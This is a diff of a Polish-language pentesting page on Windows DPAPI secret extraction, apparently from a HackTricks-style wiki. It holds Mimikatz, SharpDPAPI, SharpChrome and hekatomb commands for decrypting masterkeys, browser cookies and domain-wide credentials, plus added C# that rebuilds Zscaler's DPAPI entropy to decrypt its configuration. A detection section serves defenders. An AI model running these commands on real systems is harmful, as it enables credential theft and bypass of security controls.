- Hasła sieciowe zarządzane przez Menedżera poświadczeń oraz dane osobowe w aplikacjach korzystających z CryptProtectData, takich jak Skype, MSN messenger i inne
|
||||||
- Szyfrowane bloby w rejestrze
|
- Szyfrowane bloby w rejestrze
|
||||||
- ...
|
- ...
|
||||||
|
|
||||||
Chronione dane systemowe obejmują:
|
Chronione dane systemowe obejmują:
|
||||||
- hasła WiFi
|
- Hasła WiFi
|
||||||
- hasła zadań zaplanowanych
|
- Hasła zadań zaplanowanych
|
||||||
- ...
|
- ...
|
||||||
|
|
||||||
### Opcje ekstrakcji klucza głównego
|
### Opcje ekstrakcji klucza głównego
|
||||||
@ -120,7 +120,7 @@ mimikatz vault::list
|
|||||||
|
|
||||||
### Znajdź zaszyfrowane dane DPAPI
|
### Znajdź zaszyfrowane dane DPAPI
|
||||||
|
|
||||||
Typowe **pliki chronione** użytkowników znajdują się w:
|
Typowe **pliki chronione** przez użytkowników znajdują się w:
|
||||||
|
|
||||||
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
|
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
|
||||||
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
|
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
|
||||||
@ -172,9 +172,9 @@ guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
|
|||||||
pbData : b8f619[...snip...]b493fe
|
pbData : b8f619[...snip...]b493fe
|
||||||
[..]
|
[..]
|
||||||
```
|
```
|
||||||
- **Uzyskaj dostęp do masterkey**:
|
- **Dostęp do masterkey**:
|
||||||
|
|
||||||
Zdejmij szyfrowanie masterkey użytkownika, żądając **klucza kopii zapasowej domeny** za pomocą RPC:
|
Zdeszyfruj masterkey użytkownika, żądając **klucza kopii zapasowej domeny** za pomocą RPC:
|
||||||
```bash
|
```bash
|
||||||
# Mimikatz
|
# Mimikatz
|
||||||
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
|
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
|
||||||
@ -182,7 +182,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
|
|||||||
# SharpDPAPI
|
# SharpDPAPI
|
||||||
SharpDPAPI.exe masterkeys /rpc
|
SharpDPAPI.exe masterkeys /rpc
|
||||||
```
|
```
|
||||||
Narzędzie **SharpDPAPI** obsługuje również te argumenty do deszyfrowania masterkey (zauważ, że możliwe jest użycie `/rpc` do uzyskania klucza zapasowego domeny, `/password` do użycia hasła w postaci tekstu jawnego lub `/pvk` do określenia pliku klucza prywatnego domeny DPAPI...):
|
Narzędzie **SharpDPAPI** obsługuje również te argumenty do deszyfrowania masterkey (zauważ, że możliwe jest użycie `/rpc`, aby uzyskać klucz zapasowy domeny, `/password`, aby użyć hasła w postaci tekstu jawnego, lub `/pvk`, aby określić plik klucza prywatnego domeny DPAPI...):
|
||||||
```
|
```
|
||||||
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
|
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
|
||||||
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
|
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
|
||||||
@ -269,14 +269,14 @@ SharpChrome cookies /server:HOST /pvk:BASE64
|
|||||||
|
|
||||||
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
|
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
|
||||||
|
|
||||||
Z listy komputerów wyekstrahowanej z LDAP możesz znaleźć każdą podsieć, nawet jeśli ich nie znałeś!
|
Z listą komputerów wyekstrahowanych z LDAP możesz znaleźć każdą podsieć, nawet jeśli ich nie znałeś!
|
||||||
|
|
||||||
### DonPAPI 2.x (2024-05)
|
### DonPAPI 2.x (2024-05)
|
||||||
|
|
||||||
[**DonPAPI**](https://github.com/login-securite/DonPAPI) może automatycznie zrzucać sekrety chronione przez DPAPI. Wersja 2.x wprowadziła:
|
[**DonPAPI**](https://github.com/login-securite/DonPAPI) może automatycznie zrzucać sekrety chronione przez DPAPI. Wersja 2.x wprowadziła:
|
||||||
|
|
||||||
* Równoległe zbieranie blobs z setek hostów
|
* Równoległe zbieranie blobs z setek hostów
|
||||||
* Parsowanie **context 3** masterkeys i automatyczną integrację z Hashcat
|
* Parsowanie **masterkeys kontekstu 3** i automatyczną integrację z Hashcat
|
||||||
* Wsparcie dla zaszyfrowanych ciasteczek "App-Bound" w Chrome (patrz następna sekcja)
|
* Wsparcie dla zaszyfrowanych ciasteczek "App-Bound" w Chrome (patrz następna sekcja)
|
||||||
* Nowy tryb **`--snapshot`**, aby wielokrotnie sprawdzać punkty końcowe i porównywać nowo utworzone blobs
|
* Nowy tryb **`--snapshot`**, aby wielokrotnie sprawdzać punkty końcowe i porównywać nowo utworzone blobs
|
||||||
|
|
||||||
@ -284,23 +284,57 @@ Z listy komputerów wyekstrahowanej z LDAP możesz znaleźć każdą podsieć, n
|
|||||||
|
|
||||||
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) to parser C# dla plików masterkey/credential/vault, który może wyprowadzać formaty Hashcat/JtR i opcjonalnie automatycznie uruchamiać łamanie. W pełni obsługuje formaty masterkey dla maszyn i użytkowników do Windows 11 24H1.
|
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) to parser C# dla plików masterkey/credential/vault, który może wyprowadzać formaty Hashcat/JtR i opcjonalnie automatycznie uruchamiać łamanie. W pełni obsługuje formaty masterkey dla maszyn i użytkowników do Windows 11 24H1.
|
||||||
|
|
||||||
|
## Typowe wykrycia
|
||||||
## Wspólne wykrycia
|
|
||||||
|
|
||||||
- Dostęp do plików w `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` i innych katalogach związanych z DPAPI.
|
- Dostęp do plików w `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` i innych katalogach związanych z DPAPI.
|
||||||
- Szczególnie z udziału sieciowego, takiego jak **C$** lub **ADMIN$**.
|
- Szczególnie z udziału sieciowego, takiego jak **C$** lub **ADMIN$**.
|
||||||
- Użycie **Mimikatz**, **SharpDPAPI** lub podobnych narzędzi do uzyskania dostępu do pamięci LSASS lub zrzutu masterkeys.
|
- Użycie **Mimikatz**, **SharpDPAPI** lub podobnych narzędzi do uzyskania dostępu do pamięci LSASS lub zrzutu masterkeys.
|
||||||
- Wydarzenie **4662**: *Operacja została wykonana na obiekcie* – może być skorelowane z dostępem do obiektu **`BCKUPKEY`**.
|
- Wydarzenie **4662**: *Operacja została wykonana na obiekcie* – może być skorelowane z dostępem do obiektu **`BCKUPKEY`**.
|
||||||
- Wydarzenie **4673/4674**, gdy proces żąda *SeTrustedCredManAccessPrivilege* (Credential Manager)
|
- Wydarzenie **4673/4674**, gdy proces żąda *SeTrustedCredManAccessPrivilege* (Menadżer poświadczeń)
|
||||||
|
|
||||||
---
|
---
|
||||||
### Luki i zmiany w ekosystemie 2023-2025
|
### Luki w latach 2023-2025 i zmiany w ekosystemie
|
||||||
|
|
||||||
* **CVE-2023-36004 – Oszustwo kanału zabezpieczeń DPAPI w Windows** (listopad 2023). Atakujący z dostępem do sieci mógłby oszukać członka domeny, aby pobrał złośliwy klucz zapasowy DPAPI, co pozwala na odszyfrowanie masterkeys użytkowników. Poprawione w listopadowej aktualizacji zbiorczej 2023 – administratorzy powinni upewnić się, że DC i stacje robocze są w pełni załatane.
|
* **CVE-2023-36004 – Oszustwo kanału zabezpieczeń DPAPI w Windows** (listopad 2023). Atakujący z dostępem do sieci mógłby oszukać członka domeny, aby uzyskał złośliwy klucz zapasowy DPAPI, co pozwala na odszyfrowanie masterkeys użytkowników. Poprawione w listopadowej aktualizacji zbiorczej 2023 – administratorzy powinni upewnić się, że DC i stacje robocze są w pełni załatane.
|
||||||
* **Szyfrowanie ciasteczek "App-Bound" w Chrome 127** (lipiec 2024) zastąpiło starszą ochronę tylko DPAPI dodatkowym kluczem przechowywanym w **Credential Manager** użytkownika. Offline odszyfrowanie ciasteczek teraz wymaga zarówno masterkey DPAPI, jak i **klucza związane z aplikacją w formacie GCM**. SharpChrome v2.3 i DonPAPI 2.x są w stanie odzyskać dodatkowy klucz, gdy działają w kontekście użytkownika.
|
* **Szyfrowanie ciasteczek "App-Bound" w Chrome 127** (lipiec 2024) zastąpiło starszą ochronę tylko DPAPI dodatkowym kluczem przechowywanym w **Menadżerze poświadczeń** użytkownika. Offline odszyfrowanie ciasteczek teraz wymaga zarówno masterkey DPAPI, jak i **klucza związane z aplikacją w formacie GCM**. SharpChrome v2.3 i DonPAPI 2.x są w stanie odzyskać dodatkowy klucz, gdy działają w kontekście użytkownika.
|
||||||
|
|
||||||
|
### Studium przypadku: Zscaler Client Connector – Niestandardowa entropia pochodząca z SID
|
||||||
|
|
||||||
## Odnośniki
|
Zscaler Client Connector przechowuje kilka plików konfiguracyjnych w `C:\ProgramData\Zscaler` (np. `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Każdy plik jest szyfrowany za pomocą **DPAPI (zakres maszyny)**, ale dostawca dostarcza **niestandardową entropię**, która jest *obliczana w czasie rzeczywistym* zamiast być przechowywana na dysku.
|
||||||
|
|
||||||
|
Entropia jest odbudowywana z dwóch elementów:
|
||||||
|
|
||||||
|
1. Tajny klucz zakodowany w `ZSACredentialProvider.dll`.
|
||||||
|
2. **SID** konta Windows, do którego należy konfiguracja.
|
||||||
|
|
||||||
|
Algorytm zaimplementowany przez DLL jest równoważny z:
|
||||||
|
```csharp
|
||||||
|
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
|
||||||
|
byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID);
|
||||||
|
|
||||||
|
// XOR the two buffers byte-by-byte
|
||||||
|
byte[] tmp = new byte[secret.Length];
|
||||||
|
for (int i = 0; i < secret.Length; i++)
|
||||||
|
tmp[i] = (byte)(sid[i] ^ secret[i]);
|
||||||
|
|
||||||
|
// Split in half and XOR both halves together to create the final entropy buffer
|
||||||
|
byte[] entropy = new byte[tmp.Length / 2];
|
||||||
|
for (int i = 0; i < entropy.Length; i++)
|
||||||
|
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
|
||||||
|
```
|
||||||
|
Ponieważ sekret jest osadzony w DLL, który można odczytać z dysku, **każdy lokalny atakujący z uprawnieniami SYSTEM może ponownie wygenerować entropię dla dowolnego SID** i odszyfrować bloby offline:
|
||||||
|
```csharp
|
||||||
|
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
|
||||||
|
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
|
||||||
|
Console.WriteLine(Encoding.UTF8.GetString(clear));
|
||||||
|
```
|
||||||
|
Deszyfrowanie daje pełną konfigurację JSON, w tym każdy **sprawdzanie postawy urządzenia** i jego oczekiwaną wartość – informacje, które są bardzo cenne podczas prób obejścia po stronie klienta.
|
||||||
|
|
||||||
|
> TIP: inne zaszyfrowane artefakty (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) są chronione przez DPAPI **bez** entropii (`16` zerowych bajtów). Można je zatem deszyfrować bezpośrednio za pomocą `ProtectedData.Unprotect`, gdy uzyskane zostaną uprawnienia SYSTEM.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
|
||||||
|
|
||||||
- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
|
- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
|
||||||
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
|
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
|
||||||
|
Loading…
x
Reference in New Issue
Block a user